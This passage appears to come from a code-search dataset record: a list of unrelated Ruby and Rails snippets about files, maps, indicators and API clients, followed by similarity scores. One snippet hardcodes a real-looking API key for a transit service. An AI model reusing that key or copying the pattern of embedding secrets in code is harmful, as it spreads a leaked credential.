next\n port = devinfo[:http_get_port]\n host = zone && zone == 'alt' ? devinfo[:altip] : devinfo[:hostip]\n uri = uri_for(devid, fid)\n urls << \"http://#{host}:#{port}#{uri}\"\n end\n urls\n end", "def filename\n files = Hash.new\n filenames = Dir.glob('/home/vagrant/register-stub/data/*.json')\n filenames.foreach(\".\") do |file|\n puts file\n files[file].add file\n end\n return files.to_json\nend", "def discover_files\n authorize! :create, resource_class\n respond_to do |f|\n f.json do\n render json: file_locator.to_h\n end\n end\n end", "def iiif\n return unless map_set? || geo_file_set?\n find_thumbnail_file if map_set?\n return unless file_set\n \"#{path}/info.json\"\n end", "def index\n fs = FileStore.by_hash(params[:hash])\n\n file_stores = fs.map do |item|\n {\n sha1_hash: item.sha1_hash,\n file_name: File.basename(item.file.path),\n user: {\n id: item.user_id,\n uname: item.user_uname\n }\n }\n end\n render json: file_stores\n end", "def request_indicator_list\t\t\n\t\t\t@uri = \n\t\t\t\tSampleStrategyBuilder::Application.config.APPLICATION_CONSTANTS[\"algofast_service_uri\"]\n\t\t\t# Send request to algofast service to download all NASDAQ indicators\n\t\t\t@indicatorUri = @uri + '/events/nasdaq';\n\n\t\t\tresponse = RestClient.get @indicatorUri, \n\t\t\t{\n\t\t\t\t:content_type => :json,\n\t\t\t\t:accept => :json,\n\t\t\t\t:authorization => SampleStrategyBuilder::Application.config.APPLICATION_CONSTANTS[\"nasdaq_req_authorization\"]\t\t\t\n\t\t\t}\n\n\t\t\t# Parse response\n\t\t\tdata = JSON.parse(response)\t\t\t\n\t\t\tif !data.nil?\n\t\t\t\tif data['response']['success'] == true\n\t\t\t\t\tRails.logger.debug(\"Request Successful\")\n\t\t\t\t\tjsonRecords = data['response']['data']['records']\t\n\t\t\t\t\t@indicators = jsonRecords.map { \n\t\t\t\t\t\t|indicator| AfIndicator.new(indicator) \n\t\t\t\t\t}\t\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\tRails.logger.debug(\"Request failed, reason: #{data['response']['message']}\")\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tRails.logger.debug(\"Invalid response received from algofast service\")\n\t\t\tend\t\t\t\n\t\tend", "def index\n @images = Image.all\n @json = @images.to_gmaps4rails do |image, marker|\n @image = image\n marker.infowindow render_to_string(:action => 'show', :layout => false) \n marker.json({ :id => @image.id })\n end\n end", "def get_file_details(id)\n uri = ENDPOINT + \"file/details/#{key}/#{id}\"\n data = JSON.parse(self.class.get(uri).body, :symbolize_names => true)\n Reach::Helper::convert_keys(data)\n end", "def show\n @indexed_file = IndexedFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indexed_file }\n end\n end", "def file_data\n @client.get_file @file_url\n end", "def index\n @key_indicate_map_indicator_keys = KeyIndicateMap::IndicatorKey.order(sort_column + \" \" + sort_direction)\n end", "def bulk_download_response(study_files)\n response = {}\n study_files.each do |study_file|\n file_type = study_file.simplified_file_type\n response[file_type] ||= {total_files: 0, total_bytes: 0}\n response[file_type][:total_files] += 1\n response[file_type][:total_bytes] += study_file.upload_file_size\n end\n response.with_indifferent_access\nend", "def show\n @indicator_set = IndicatorSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicator_set }\n end\n end", "def img_file\n return \"map_\" + symbol.to_s + \"_full\"\n end", "def index\n limit, offset = Calculator.limit_and_offset(params)\n @key_features = KeyFeature.all.limit(limit).offset(offset).order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @key_features\n end", "def index\r\n markers = Marker.all\r\n render json: markers\r\n end", "def add_index_maps(layer, druid, rootdir)\n doc = Nokogiri::XML(File.read(File.join(rootdir, 'metadata', 'contentMetadata.xml')))\n return unless doc.search('//file[@id=\\'index_map.json\\']').length > 0\n\n refs = JSON.parse(layer.metadata['dct_references_s'])\n refs['https://openindexmaps.org'] = \"#{Settings.stacks.url}/file/druid:#{druid}/index_map.json\"\n layer.metadata['dct_references_s'] = refs.to_json\n end", "def import\n Map.import(params[:file])\n end", "def download_icon_file_using_get1_with_http_info(file_id, user_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FilesApi.download_icon_file_using_get1 ...'\n end\n # verify the required parameter 'file_id' is set\n if @api_client.config.client_side_validation && file_id.nil?\n fail ArgumentError, \"Missing the required parameter 'file_id' when calling FilesApi.download_icon_file_using_get1\"\n end\n # verify the required parameter 'user_id' is set\n if @api_client.config.client_side_validation && user_id.nil?\n fail ArgumentError, \"Missing the required parameter 'user_id' when calling FilesApi.download_icon_file_using_get1\"\n end\n # resource path\n local_var_path = '/api/v2/users/{userId}/files/{fileId}/icon'.sub('{' + 'fileId' + '}', file_id.to_s).sub('{' + 'userId' + '}', user_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiKeyInHeader', 'oAuth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FilesApi#download_icon_file_using_get1\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_file_summary(file_path)\n response = HTTParty.get(\"https://#{accountName}.azuredatalakestore.net\" +\n \"/webhdfs/v1/#{file_path}?op=GETCONTENTSUMMARY\", {\n body: \"grant_type=client_credentials&client_id=#{clientId}\"+\n \"&client_secret=#{clientSecret}\"+\n \"&resource=https%3A%2F%2Fmanagement.azure.com%2F\",\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Accept\" => \"*/*\",\n \"Cache-Control\" => 'no-cache',\n \"Host\" => \"#{accountName}.azuredatalakestore.net\",\n \"Connection\" => 'keep-alive',\n \"cache-control\" => 'no-cache'\n },\n verify: true,\n })\n \n return JSON.parse response.read_body\n end", "def parse_files_json(file)\n\n files_hash = convert_json(b2_list_file_names(file))\n files = {}\n\n files_hash[\"files\"].each do |file_hash|\n files[file_hash[\"fileName\"]] = file_hash[\"fileId\"]\n end\n\n return files\n\nend", "def get_recording_recordingkeys_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RecordingApi.get_recording_recordingkeys ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/recording/recordingkeys\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'EncryptionKeyEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RecordingApi#get_recording_recordingkeys\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def read_file(path, key)\n file = IO.read(path)\n JSON.parse(file)[key]\n end", "def destroy\n @key_indicate_map_indicator.destroy\n respond_to do |format|\n format.html { redirect_to key_indicate_map_indicators_url, notice: 'Indicator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n #@ru = request.original_url\n @ru = request.protocol + request.host_with_port + \"/layers/#{params['id']}\"\n #@ru = params['id']\n @annotation_layer = AnnotationLayer.where(layer_id: @ru).first\n\n # replace @ru with hostUrl environment variable\n host_url_prefix = Rails.application.config.hostUrl\n\n\n #authorize! :show, @annotation_layer\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @annotation_layer.to_iiif, content_type: \"application/json\" }\n end\n end", "def fetchControlPoints(url, mapID)\n url = URI(url.to_s+'maps/'+mapID.to_s+'/control_points.json')\n response = Net::HTTP.get_response(url)\n data = response.body\n JSON.parse(data)\n end", "def destroy\n year = @key_indicate_map_indicator_file['year'].to_s\n KeyIndicateMap::IndicatorKey.each{|key|\n if !key['history'].nil? && !key['history'][year].nil?\n attrs = {:history => key['history'].reject{|key, value| key == year }}\n key.update_attributes(attrs)\n end\n }\n @key_indicate_map_indicator_file.destroy\n respond_to do |format|\n format.js {}\n format.json { head :no_content, status: :destroy }\n end\n end", "def index\n @maps = Map.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @maps }\n end\n end", "def fetch_file(file_path)\n client.get_file(file_path)\n end", "def index \n\t\trespond_to do |format|\t\t\n\t\t \tformat.html # index.html.erb\n\t\t \tformat.json { \n\t\t\t \t\n\t\t\t\t\n\t\t\t\t# Locations /w my assets\n\t\t\t\t\n\t\t\t\t\n\t\t\t\trfid_readers = RfidReader.all\t\t\t\t\n\t\t\t\trfid_readers = rfid_readers.map { |rfid_reader| {\t\t\t\t\t\t\n\t\t\t\t\t\t:network => rfid_reader.network.description,\n\t\t\t\t\t\t:mac_address => rfid_reader.mac_address,\n\t\t\t\t\t\t:reader_name => rfid_reader.reader_name,\n\t\t\t\t\t\t:_id => rfid_reader._id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\trender json: rfid_readers \t\t\t\n\t\t \t}\n\t\tend\n\tend", "def server_get_file(server, path)\n request(\n :path => \"containers/#{server.id}/files\",\n :params => {\n :path => path\n },\n :disable_body_extraction => true\n ).get(:body)\n end", "def index\n @mapimages = Mapimage.all\n end", "def getimagesinfo\n trek = Trek.find_by_id(params[:id])\n send_data(trek.get_images_info.to_json,\n {:type => \"application/json\", :disposition => \"inline\"})\n end", "def show\n @treq = Treq.find(params[:id])\n @treq_files = @treq.treq_files.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @treq }\n end\n end", "def index\n @user_file_mappings = UserFileMapping.all\n end", "def _get_paths(params = {})\n zone = params[:zone]\n noverify = (params[:noverify] == 1) # TODO this is unused atm\n dmid = get_dmid(params[:domain])\n devices = refresh_device or raise MogileFS::Backend::NoDevicesError\n urls = []\n sql = <<-EOS\n SELECT fid FROM file\n WHERE dmid = #{dmid} AND dkey = '#{@my.quote(params[:key])}'\n LIMIT 1\n EOS\n\n res = query(sql).fetch_row\n res && res[0] or raise MogileFS::Backend::UnknownKeyError\n fid = res[0]\n sql = \"SELECT devid FROM file_on WHERE fid = '#{@my.quote(fid)}'\"\n query(sql).each do |devid,|\n unless devinfo = devices[devid.to_i]\n devices = refresh_device(true)\n devinfo = devices[devid.to_i] or next\n end\n devinfo[:readable] or next\n port = devinfo[:http_get_port]\n host = zone && zone == 'alt' ? devinfo[:altip] : devinfo[:hostip]\n uri = uri_for(devid, fid)\n urls << \"http://#{host}:#{port}#{uri}\"\n end\n urls\n end", "def index\n @pinimages = Pinimage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pinimages }\n end\n end", "def get_fileset\n\n filesets = batched_get( { id: params[:id] } )\n if filesets.empty?\n render_json_fileset_response(:not_found )\n else\n render_json_fileset_response(:ok, fileset_transform( filesets ) )\n end\n end", "def b2_list_file_names(file)\n\n auth_hash = convert_json(b2_authorize_account)\n api_url = auth_hash[\"apiUrl\"]\n account_authorization_token = auth_hash[\"authorizationToken\"]\n bucket_id = ENV['bucket_id']\n prefix = file\n\n uri = URI(\"#{api_url}/b2api/v1/b2_list_file_names\")\n req = Net::HTTP::Post.new(uri)\n req.add_field(\"Authorization\",\"#{account_authorization_token}\")\n req.body = \"{\\\"bucketId\\\":\\\"#{bucket_id}\\\", \\\"prefix\\\":\\\"#{prefix}\\\"}\"\n http = Net::HTTP.new(req.uri.host, req.uri.port)\n http.use_ssl = true\n res = http.start {|http| http.request(req)}\n\n case res\n when Net::HTTPSuccess then res.body\n when Net::HTTPRedirection then fetch(res['location'], limit - 1)\n else res.error!\n end\n\nend", "def show\n @fileset_aix_file_map = FilesetAixFileMap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fileset_aix_file_map }\n end\n end", "def files\n db = Database.find(params[:id])\n @files = Dir.entries(db.path)\n @files.delete_if{|f| !f.include?'.dat'}\n @results = []\n @files.each do |entry|\n @results << {:name=>entry,:version=>db.version}\n end\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end", "def index\n @incidentfiles = Incidentfile.all\n end", "def json_files\n file_list '**/*.json'\n end", "def get(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n File.from_response(\n file_name,\n client.request_raw_response(\n method: :get,\n path: \"#{container_name}/#{file_name}\",\n expected: 200,\n )\n )\n end", "def index\n @survey_file = SurveyFile.new()\n\n \n if !params[:status]\n @protocols = ResponseSet.where(:user_id => current_user)\n else\n\n statuses = Status.where(:state => params[:status])\n @protocols = ResponseSet.where(:user_id => current_user,:access_code => statuses.map { |s| s.survey_id } )\n end\n\n @surveys = {}\n @files ={}\n @protocols.each do |p| \n @surveys[p.survey_id.to_s] = Survey.find(p.survey_id).access_code\n @files[p.id.to_s] = SurveyFile.where(:response_set_id => p.id)\n end\n @title_questions = Question.where(\"text LIKE '%Title%'\").map{|q| q.id} + Question.where(\"text LIKE '%TITLE%'\").map{|q| q.id}\n # @statuses = Status.where(:survey_id => @protocols.map { |e| e.access_code}) \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @protocols }\n\n \n\n end\n end", "def retrieve_cloud_files(files); end", "def index\n @keys = Key.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keys }\n end\n end", "def get_paths(key, noverify = true, zone = nil)\n opts = { :domain => @domain, :key => key,\n :noverify => noverify ? 1 : 0, :zone => zone }\n @backend.respond_to?(:_get_paths) and return @backend._get_paths(opts)\n res = @backend.get_paths(opts)\n (1..res['paths'].to_i).map { |i| res[\"path#{i}\"] }.compact\n end", "def key_indicate_map_indicator_key_params\n params.require(:key_indicate_map_indicator_key).permit(:name, :group, :unit, :integer_or_float, :query)\n end", "def api(path)\n OodAppkit.files.api(path: path).to_s\n end", "def info(key)\n response = request(:get, uri(key))\n if response.status == 200\n data = MultiJson.load(response.body)\n if data.is_a?(Array)\n data.each_with_object({}) do |d, acc|\n info = extract_info(d)\n info.delete(:action)\n acc[info[:key]] = info\n end\n else\n info = extract_info(data)\n info.delete(:action)\n info\n end\n else\n nil\n end\n end", "def handle_get_request\n files = DataFile.containing(@request.uuid, @request.range)\n records = []\n\n files.each do |file|\n file.records.each do |record|\n records << record if @request.range.cover?(record.time)\n end\n\n file.close\n end\n\n send_data [records.length].pack('L')\n\n records.sort.each do |record|\n send_data [record.time.to_i, record.value].pack('LF')\n end\n end", "def ingest_path_info\n respond_to do |format|\n format.json {render json: ingest_directory_info(params[:path])}\n end\n end", "def show\n @entry = Entry.find(params[:id])\n hash = {:folder_index => 7, :entry_path => 1}\n @index_count = @entry.getImgCount(hash)\n\n hash.delete(\"entry_path\")\n hash[:count] = 5;\n @image_array = @entry.getRndImgFromDir(hash)\n @image_name = @entry.image.split(\"/\").last().split(\"_\").last().split(\".\").first()\n img = @entry.image\n #@image_name = img[img.rindex('/')+1, img.length][img.rindex('_'), img.length]\n #.split(\".\")[0]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entry }\n end\n end", "def info_file\n @info_file ||= File.join(image_dir, '_info.json')\n end", "def read\n status = 200\n\n # File path\n fpath = filepathById params[:id]\n\n if nil == fpath\n # File description does not exists\n result = {status: 'error', message: 'Bad request'}\n status = 400\n elsif File.exists? fpath\n result = {content: File.read(fpath)}\n else\n result = {content: ''}\n end\n render json: result.to_json, status: status\n end", "def read_list_index()\n list_index = 0\n file = File.open(\"jira-epic-progress.json\",\"r\")\n list_index =JSON.parse(file.read)['index']\n return list_index\nend", "def load_map_names\n data = load_data('Data/MapInfos.rvdata')\n names = {}\n data.each_pair{|key, value| names[key] = value.name}\n names\n end", "def cryptocurrency_map_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.cryptocurrency_map_get ...'\n end\n if @api_client.config.client_side_validation && !opts[:'start'].nil? && opts[:'start'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"start\"]\" when calling DefaultApi.cryptocurrency_map_get, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 5000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.cryptocurrency_map_get, must be smaller than or equal to 5000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.cryptocurrency_map_get, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/cryptocurrency/map'\n\n # query parameters\n query_params = {}\n query_params[:'listing_status'] = opts[:'listing_status'] if !opts[:'listing_status'].nil?\n query_params[:'start'] = opts[:'start'] if !opts[:'start'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'symbol'] = opts[:'symbol'] if !opts[:'symbol'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ApiKeyAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2005')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#cryptocurrency_map_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n # proxy to GET /roi/id\n @result = ImageServer.get('/roi/'+params[:id]);\n render :json => @result\n end", "def get_file(file_id)\n\tputs \"Getting file: \" + file_id\n\tresponse = request_get('/api/partner/file/' + file_id)\n\tputs response.body\nend", "def index\n @keys = Key.all\n render json: @keys\n end", "def endpoint_for(path)\n File.join(MemoTomato::ROOT_URL, \"#{path}.json\")\n end", "def train_api(mapid)\n url_safe_mapid = URI.encode(mapid)\n apiKey = \"73b6a68e9e4f450792ba730b84d8c506\"\n apiLink = \"http://lapi.transitchicago.com/api/1.0/ttarrivals.aspx?key=#{apiKey}&mapid=#{url_safe_mapid}\"\n apiResults = open(apiLink).read\n return Hash.from_xml(apiResults)\n end", "def files_get_with_http_info(api_key, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: FilesApi.files_get ...\"\n end\n # verify the required parameter 'api_key' is set\n fail ArgumentError, \"Missing the required parameter 'api_key' when calling FilesApi.files_get\" if api_key.nil?\n # resource path\n local_var_path = \"/files\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'api_key'] = api_key\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FilesApi#files_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @map = Map.find(params[:map_id])\n # @markers = Marker.all\n @markers = Marker.where(map_id: @map)\n # @map = params[:map_id]\n end", "def index\n @icons = Icon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @icons }\n end\n end", "def image_list\n @images = Picture.where(album_id: params[:album_id])\n respond_to do |format|\n format.json { render json: @images.to_json(methods: [:path])}\n end\n end", "def index\n @file_versions = FileVersion.all\n\n render json: @file_versions\n end", "def index\n @issues = Issue.all\n @hash = Gmaps4rails.build_markers(@issues) do |issue, marker|\n marker.lat issue.address.latitude\n marker.lng issue.address.longitude\n marker.infowindow issue.address.full_address + \"<br />\" + issue.note +\n \"<br />\" + \"Status: \" + issue.issue_status_category_id.to_s\n\n if issue.issue_status_category_id == 1\n marker.picture({\n :url => \"/assets/IssueOpen.gif\",\n :width => 32,\n :height => 32\n })\n elsif issue.issue_status_category_id == 2\n marker.picture({\n :url => \"/assets/IssueResolved.gif\",\n :width => 32,\n :height => 27\n })\n else\n marker.picture({\n :url => \"/assets/IssueLien.gif\",\n :width => 32,\n :height => 32\n })\n end\n end\n \n end", "def index\n @maps = current_user.owned_maps\n respond_with @maps, :include => :waypoints\n end", "def index\n @organisational = Dictionary.find(:all, :order => \"place ASC\", :conditions => {:indicator => 1})\n @functional = Dictionary.find(:all, :conditions => { :indicator => 2 })\n @method = Dictionary.find(:all, :conditions => { :indicator => 3 })\n @leadership = Dictionary.find(:all, :conditions => { :indicator => 4 })\n @social = Dictionary.find(:all, :conditions => { :indicator => 5 })\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dictionaries }\n end\n end", "def download_icon_file_using_get1(file_id, user_id, opts = {})\n download_icon_file_using_get1_with_http_info(file_id, user_id, opts)\n nil\n end", "def index\n @indicators = Indicator.all\n end", "def download_incident_list(file_name)\n raw_file_name = File.expand_path(\"~/Downloads/incidents.csv\")\n if File.exists?(raw_file_name)\n puts \"Deleted old Downloads file #{raw_file_name}\"\n FileUtils.rm(raw_file_name)\n end\n \n puts \"Request report from #{incident_list_url}\"\n `open \"#{incident_list_url}\"`\n until File.exists?(raw_file_name) do\n puts \"Waiting for file to download\"\n sleep(1)\n end\n\n if File.exists?(file_name)\n puts \"Deleted old incidents/raw file #{file_name}\"\n FileUtils.rm(file_name)\n end\n\n `mv #{raw_file_name} #{file_name}`\n puts \"#{raw_file_name} written to #{file_name}\"\n end", "def show\n @file_info = FileInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @file_info }\n end\n end", "def esri_opendata_metadata\n File.read(File.join(File.dirname(__FILE__), './docs/esri_open_data.json'))\n end", "def esri_opendata_metadata\n File.read(File.join(File.dirname(__FILE__), './docs/esri_open_data.json'))\n end", "def get(key)\n Lib.get @path, @no_follow, key.to_s\n end", "def get_mapping\n request :get, \"_mapping\"\n end" ]
[ "0.774561", "0.70164704", "0.60870147", "0.59591174", "0.5858484", "0.58546704", "0.5783305", "0.5767306", "0.56435364", "0.56258774", "0.56010115", "0.55970347", "0.5554699", "0.5545462", "0.54905003", "0.5460784", "0.5391124", "0.5319879", "0.5316548", "0.52659726", "0.52484953", "0.5207393", "0.5184593", "0.5164487", "0.5156549", "0.5137432", "0.51258934", "0.5121536", "0.50840515", "0.506136", "0.50226074", "0.50178266", "0.5014511", "0.5013986", "0.5012612", "0.5008864", "0.500278", "0.50012344", "0.4985455", "0.49700958", "0.4966828", "0.49655926", "0.4955267", "0.49506158", "0.49371427", "0.49238145", "0.49098238", "0.4907586", "0.4906599", "0.48910996", "0.4890461", "0.48904172", "0.48872095", "0.48791566", "0.48720452", "0.4864747", "0.4863847", "0.48569044", "0.48533872", "0.48468152", "0.4842306", "0.48420784", "0.4840211", "0.48397037", "0.4838651", "0.48338488", "0.48235303", "0.48156175", "0.48120305", "0.4805332", "0.4802164", "0.48013574", "0.48012733", "0.48008558", "0.47963947", "0.47962996", "0.47918758", "0.47873417", "0.47870615", "0.47862512", "0.4784187", "0.4763494", "0.47626343", "0.4762345", "0.47589839", "0.47552216", "0.47540623", "0.4749643", "0.47368327", "0.47337487", "0.47313443", "0.47306532", "0.4728843", "0.47230998", "0.47198132", "0.47149354", "0.47117788", "0.4708087", "0.4708087", "0.47048298", "0.46923319" ]
0.0
-1
POST /key_indicate_map/indicator_files POST /key_indicate_map/indicator_files.json
def create @indicator_files = [] params['indicate_file'].each do |f| doc = KeyIndicateMap::IndicatorFile.new doc.indicate_file = f params[:key_indicate_map_indicator_file][:title].blank? ? doc.title = f.original_filename : doc.title = params[:key_indicate_map_indicator_file][:title] doc.description = params[:key_indicate_map_indicator_file][:description] doc.year = params[:year] doc.author = current_user.email if !doc.save respond_to do |format| format.js {render :js=> 'alert("' + doc.errors.messages[:year][0] + '");' } format.json { head :no_content, status: :unprocessable_entity } end return end @indicator_files << doc table = read_table_from_file 'public/uploads/key_indicate_map/indicator_file/indicate_file/' + doc._id.to_s + '/' + doc.indicate_file.filename @errors = doc.import table, doc.year.to_s end unless params['indicate_file'].nil? respond_to do |format| format.js {} format.json { head :no_content, status: :created } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @key_indicate_map_indicator_files = KeyIndicateMap::IndicatorFile.all\n end", "def set_key_indicate_map_indicator_file\n @key_indicate_map_indicator_file = KeyIndicateMap::IndicatorFile.find(params[:id])\n end", "def create\n @key_indicate_map_indicator = KeyIndicateMap::Indicator.new(key_indicate_map_indicator_params)\n\n respond_to do |format|\n if @key_indicate_map_indicator.save\n format.html { redirect_to @key_indicate_map_indicator, notice: 'Indicator was successfully created.' }\n format.json { render :show, status: :created, location: @key_indicate_map_indicator }\n else\n format.html { render :new }\n format.json { render json: @key_indicate_map_indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def key_indicate_map_indicator_file_params\n params.require(:key_indicate_map_indicator_file).permit(:title, :description, :year, :town, :old_town, :indicator_key, :old_key)\n end", "def create\n @key_indicate_map_indicator_key = KeyIndicateMap::IndicatorKey.new\n @key_indicate_map_indicator_key.save\n\n respond_to do |format|\n format.js\n format.json { head :no_content }\n end\n end", "def set_key_indicate_map_indicator\n @key_indicate_map_indicator = KeyIndicateMap::Indicator.find(params[:id])\n end", "def update\n\n if key_indicate_map_indicator_file_params[:year]\n year = @key_indicate_map_indicator_file.year.to_s\n KeyIndicateMap::IndicatorKey.each{|key|\n if key['history'] && key['history'][year]\n attrs = key['history'].reject{|key, value| key == year }\n attrs[key_indicate_map_indicator_file_params[:year]] = key['history'][year]\n key.update_attributes({:history => attrs})\n end\n }\n end\n\n respond_to do |format|\n if @key_indicate_map_indicator_file.update(key_indicate_map_indicator_file_params)\n format.js {}\n format.json { head :no_content, status: :updated }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def key_indicate_map_indicator_params\n params[:key_indicate_map_indicator, :type, :history, :year, :key, :town_id]\n end", "def set_key_indicate_map_indicator_key\n @key_indicate_map_indicator_key = KeyIndicateMap::IndicatorKey.find(params[:id])\n end", "def update\n respond_to do |format|\n if @key_indicate_map_indicator.update(key_indicate_map_indicator_params)\n format.html { redirect_to @key_indicate_map_indicator, notice: 'Indicator was successfully updated.' }\n format.json { render :show, status: :ok, location: @key_indicate_map_indicator }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @indicator_keys = {}\n KeyIndicateMap::IndicatorKey.all.reject{|i| i.key_indicate_map_indicators.empty? }.each{|indicator|\n group = indicator['group']\n @indicator_keys[group] = {} if @indicator_keys[group].nil?\n @indicator_keys[group]['group_icon'] = indicator['group_icon']\n @indicator_keys[group]['group_color'] = indicator['group_color']\n @indicator_keys[group]['indicators'] = [] if @indicator_keys[group]['indicators'].nil?\n @indicator_keys[group]['indicators'].push({\"id\" => indicator.id.to_s, \"name\" => indicator['name']})\n }\n @indicator_keys = @indicator_keys.sort_by{|key, value| key }\n @years = KeyIndicateMap::IndicatorFile.only(:year).map{|f| f.year}\n @selected_year = params[:year].to_i if params[:year]\n if params[:key]\n @selected_key = params[:key]\n @group = KeyIndicateMap::IndicatorKey.find(@selected_key).group\n end\n\n respond_to do |format|\n format.html\n format.js\n end\n\n end", "def index\n @key_indicate_dictionary = KeyIndicate::Dictionary.first || KeyIndicate::Dictionary.create\n @keys = @key_indicate_dictionary.key_indicate_dictionary_files\n end", "def update\n params[:dictionary].each{|key, value|\n indicator = KeyIndicate::DictionaryKey.find(key)\n value.each{|k,v|\n indicator[k] = v;\n }\n indicator.save\n }\n\n if @key_indicate_dictionary.update\n respond_to do |format|\n format.html { redirect_to key_indicate_dictionaries_path, notice: 'Dictionary was successfully updated.' }\n format.js { }\n end\n end\n end", "def update\n respond_to do |format|\n if @key_indicate_map_indicator_key.update(key_indicate_map_indicator_key_params)\n format.html { redirect_to key_indicate_map_indicator_keys_path, notice: 'Indicator key was successfully updated.' }\n format.json { render :index, status: :ok, location: key_indicate_map_indicator_keys_path }\n else\n format.html { render :edit }\n format.json { render json: @key_indicate_map_indicator_key.errors, status: :unprocessable_entity }\n end\n end\n end", "def key_files; end", "def key_indicate_map_indicator_key_params\n params.require(:key_indicate_map_indicator_key).permit(:name, :group, :unit, :integer_or_float, :query)\n end", "def create\n @map = Map.new(map_params)\n @file = @map.meta_data\n # binding.pry\n\n @meta_data = []\n @kind = @map.kind\n fips_to_hc_key\n @map.meta_data = @meta_data\n respond_to do |format|\n if @map.save\n format.html { redirect_to @map, notice: 'Map was successfully created.' }\n format.json { render :show, status: :created, location: @map }\n else\n format.html { render :new }\n format.json { render json: @map.errors, status: :unprocessable_entity }\n end\n end\n end", "def map_upload\n unless params[:uploaded_map].blank?\n require 